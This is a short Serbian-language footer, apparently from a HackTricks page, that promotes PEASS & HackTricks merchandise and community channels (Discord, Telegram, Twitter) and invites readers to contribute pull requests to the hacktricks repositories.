* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue